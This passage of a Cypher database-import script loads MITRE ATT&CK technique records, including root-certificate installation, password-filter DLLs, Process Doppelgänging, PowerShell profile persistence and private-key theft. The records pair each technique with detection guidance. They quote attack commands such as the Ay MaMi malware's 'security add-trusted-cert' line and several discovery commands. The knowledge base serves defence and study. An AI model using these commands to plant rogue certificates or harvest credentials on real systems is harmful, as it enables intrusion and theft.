new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\\n\\nInstalled root certificates are located in the Registry under <code>HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\</code> and <code>[HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\\n\\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\\n* CDD4EEAE6000AC7F40C3802C171E30148030C072\",\"x_mitre_contributors\":[\"Itzik Kotler, SafeBreach\",\"Travis Smith, Tripwire\",\"Red Canary\",\"Matt Graeber, @mattifestation, SpecterOps\"],\"x_mitre_permissions_required\":[\"Administrator\",\"User\"]}", description:"Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Install Root Certificate", modified:"2019-07-19T14:44:30.545Z", kill_chain_phases:["d3f511e4-7433-4d9c-a580-4593c27a0b67"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", external_references:["94842780-a61f-44b4-8684-54ac8ae8a881", "6eb27de5-bb43-40b4-ac1d-4d82cdabb094", "3af18be9-4840-45ec-8bda-4d78df5c970d", "d2913bbf-1556-4416-b6d8-4ab7e112f8a0", "f5d97881-586a-403a-8f6e-050d5262b15f", "9003366a-7959-4c06-9c2f-60b8dc341931", "27b0e7e3-01a4-4b6d-8408-ac4c7b574544", "f1076ff4-f566-427f-b2d8-dd71c76bcc43", "218a58db-8ea7-4ef6-a61d-565926b80ffa"]}}, {_id:1176, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"DLL monitoring\",\"Process monitoring\",\"Windows Registry\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor for change notifications to and from unfamiliar password filters.\\n\\nNewly installed password filters will not take effect until after a system reboot.\\n\\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)\",\"x_mitre_contributors\":[\"Vincent Le Toux\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Password Filter DLL", modified:"2019-07-18T17:02:26.038Z", kill_chain_phases:["4ba5ffe8-bd9c-4c56-acdf-864b7bad11ae"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c", external_references:["149e2e31-1699-4cc2-b453-0f364069c66e", "df3cd8d6-78d0-4ec3-bcfb-85b56a0a9389", "214495d1-aace-4bd7-9262-a5aef6dea945"]}}, {_id:1181, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Linux\",\"macOS\"],\"x_mitre_data_sources\":[\"Process command-line parameters\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.\",\"x_mitre_contributors\":[\"Sudhanshu Chauhan, @Sudhanshu_C\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\n\n### Windows\n* <code>net accounts</code>\n* <code>net accounts /domain</code>\n\n### Linux\n* <code>chage -l <username></code>\n* <code>cat /etc/pam.d/common-password</code>\n\n### macOS\n* <code>pwpolicy getaccountpolicies</code>", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Password Policy Discovery", modified:"2019-07-18T17:03:40.469Z", kill_chain_phases:["436c61f7-0c8d-4395-85a1-6522cd94d99d"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", external_references:["1dfd261d-0ea0-4d97-ba21-d86e3bc8978c", "1faaa541-ff5e-4cf9-96d2-a8ff5129b254", "1ab34216-1c0e-4a64-b2f7-0db89d618f87"]}}, {_id:1204, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:55.471Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\",\"Office 365\",\"Azure AD\"],\"x_mitre_data_sources\":[\"Azure activity logs\",\"Office 365 account logs\",\"API monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\",\"x_mitre_contributors\":[\"Microsoft Threat Intelligence Center (MSTIC)\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n### Windows\n\nExamples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the [Net](https://attack.mitre.org/software/S0039) utility.\n\n### Mac\n\nOn Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.\n\n### Linux\n\nOn Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.\n\n### Office 365 and Azure AD\n\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command <code>az ad user get-member-groups</code> will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Permission Groups Discovery", modified:"2019-10-18T20:37:17.043Z", kill_chain_phases:["11ff68de-d00e-45c0-8d7f-1159c94feb99"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", external_references:["372c6794-a296-4195-b11e-a0321ac202e0", "5b47fee0-9312-4d5f-8a65-6b6fdb813159", "0f1d86ec-d1b9-49a9-8b2b-5bf217a4c06a", "78397fac-b89a-47a7-892b-68f7ba14a30d", "7ccb2540-b624-4146-a9fa-63351c943f2b", "0279dbd6-be30-47dc-a7e0-9cd504a300f4"]}}, {_id:1256, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:48.728Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"SYSTEM\"],\"x_mitre_system_requirements\":[\"Administrator, SYSTEM may provide better process ownership details\"]}", description:"Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Windows\n\nAn example command that would obtain details on processes is \"tasklist\" using the [Tasklist](https://attack.mitre.org/software/S0057) utility.\n\n### Mac and Linux\n\nIn Mac and Linux, this is accomplished with the <code>ps</code> command.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Process Discovery", modified:"2019-08-12T19:49:12.584Z", kill_chain_phases:["4a6fb6e5-2b9c-4622-b784-53d4e8409c5a"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", external_references:["81bab0e0-c474-4b04-a2d3-a310d43ce54d", "1a7cef19-062e-49ca-9f98-8d1c9263bbd2"]}}, {_id:1260, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Process monitoring\"],\"x_mitre_defense_bypassed\":[\"Process whitelisting\",\"Anti-virus\",\"Whitelisting by file name or path\",\"Signature-based detection\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)\\n\\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\",\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\",\"User\"]}", description:"Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Process Doppelgänging", modified:"2019-09-24T13:30:04.684Z", kill_chain_phases:["2e4a075c-d1e1-4177-9670-446b584f762b"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76", external_references:["f1148b7f-0d47-4554-b89e-17b244512b91", "4fb39263-0ac0-4e2d-b0a1-e14460e68ab1", "13312d15-8032-4656-b848-6b9bd5b215d9", "e82c1072-5c4d-47f2-a8ad-61f2bfee5623", "ffa54f9c-3cee-44c6-8312-2ad26e506a04", "d0a19a66-c4d6-45dd-bbcd-5cb6b0927fd3", "0555ddbe-8657-4225-a764-a67dda993761"]}}, {_id:1242, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-14T18:53:49.472Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"File monitoring\",\"PowerShell logs\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\\n\\n* <code>$PsHome\\\\Profile.ps1</code>\\n* <code>$PsHome\\\\Microsoft.{HostProgram}_profile.ps1</code>\\n* <code>$Home\\\\My Documents\\\\PowerShell\\\\Profile.ps1</code>\\n* <code>$Home\\\\My Documents\\\\PowerShell\\\\Microsoft.{HostProgram}_profile.ps1</code>\\n\\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.\",\"x_mitre_contributors\":[\"Allen DeRyke, ICE\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\"]}", description:"Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"PowerShell Profile", modified:"2019-07-19T14:46:24.213Z", kill_chain_phases:["acc83ecc-855f-4ef7-8219-8a295cdbffbb", "2f72eecc-841f-49e8-a18e-1e9acbd30278"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", external_references:["79ec7629-c34a-43f5-8738-93202db67185", "431c610b-dd5e-4e70-8a38-2c34cd22be68", "8689b6ec-2eb6-4251-84d8-bc83b0a8801a", "016480fd-cf45-48c9-aca1-e0d94d3b83e2", "a15c6e3f-7894-49e8-af22-4ea1a7de3526"]}}, {_id:1250, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\",\"x_mitre_contributors\":[\"Itzik Kotler, SafeBreach\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Private Keys", modified:"2019-07-18T17:21:52.708Z", kill_chain_phases:["3d3d7a90-6933-420f-b66d-b56517206582"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", external_references:["6d52ed92-ea7e-4cfc-8baf-9d33f29928cc", "3ae3f74d-2efe-490d-8153-a4c1a5a410de", "976e862c-6a58-4d21-9ffa-2a26b7d6bf26", "fb1e7269-6191-4ea4-b4d8-893558c7e2db"]}}, {_id:1103, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:41.399Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Network device logs\",\"Host network interface\",\"Netflow/Enclave netflow\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\",\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"],\"x_mitre_system_requirements\":[\"Network interface access and packet capture driver\"]}", description:"Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Network Sniffing", modified:"2019-07-18T16:42:21.548Z", kill_chain_phases:["ac5aa6a6-6e73-403f-bb9a-db8674a3af03", "402dc3cc-ead9-449f-a6a2-de8d41b71698"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", external_references:["5e522639-c509-47ea-b9a9-32465bbd8402", "ac0cb5d5-06e2-43fa-a186-21f2c3706424"]}}, {_id:1117, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:32.662Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Network protocol analysis\",\"Process use of network\",\"File monitoring\",\"Malware reverse engineering\",\"Binary file metadata\",\"Process command-line parameters\",\"Environment variable\",\"Process monitoring\",\"Windows event logs\",\"Network intrusion detection system\",\"Email gateway\",\"SSL/TLS inspection\"],\"x_mitre_defense_bypassed\":[\"Host forensic analysis\",\"Signature-based detection\",\"Host intrusion prevention systems\",\"Application whitelisting\",\"Process whitelisting\",\"Log analysis\",\"Whitelisting by file name or path\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\\n\\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\\\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)\\n\\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.\",\"x_mitre_contributors\":[\"Red Canary\",\"Christiaan Beek, @ChristiaanBeek\"]}", description:"Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Obfuscated Files or Information", modified:"2019-06-25T12:14:59.189Z", kill_chain_phases:["8473ca16-b245-4018-a0d6-9b88a72f73f0"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", external_references:["dfa53ced-03a7-4dd2-9c70-02699b691956", "282bac56-c06b-4176-8bbe-b163d08d1470", "87da51d0-ed49-46ed-90ec-c13de8b5a986", "824de6ed-e22a-40e3-a6bd-3a9582706862", "e3f16074-b471-4099-8b40-4086f60329fa", "90ffea24-98ad-4106-a8d3-df79f0f45d72", "dca540db-3e0d-4d74-bb17-cabb6c968d06", "d6589f88-b61e-413f-a4c7-4aca5fcea115", "ab47e5d9-569a-41d0-87aa-bf0a0de595d0", "38507fb6-e372-4097-b988-6b20a2c028e5", "eb0f6014-5173-4693-8867-b223e81f30b8", "04398e47-3021-44c2-a829-34a80948e103"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:attack_pattern:SDO;
UNWIND [{_id:1131, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Office 365\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\",\"Windows Registry\",\"File monitoring\"],\"x_mitre_version\":\"1.2\",\"x_mitre_detection\":\"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)\\n\\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\\n\\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\\n\\nFor the Outlook rules and forms methods, Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\",\"x_mitre_contributors\":[\"Microsoft Threat Intelligence Center (MSTIC)\",\"Sahar Shukrun\",\"Praetorian\",\"Nick Carr, FireEye\",\"Loic Jaquemet\",\"Ricardo Dias\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\"],\"x_mitre_system_requirements\":[\"Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\\nAdd-ins: some require administrator permissions\"]}", description:"Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n### Office Template Macros\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective 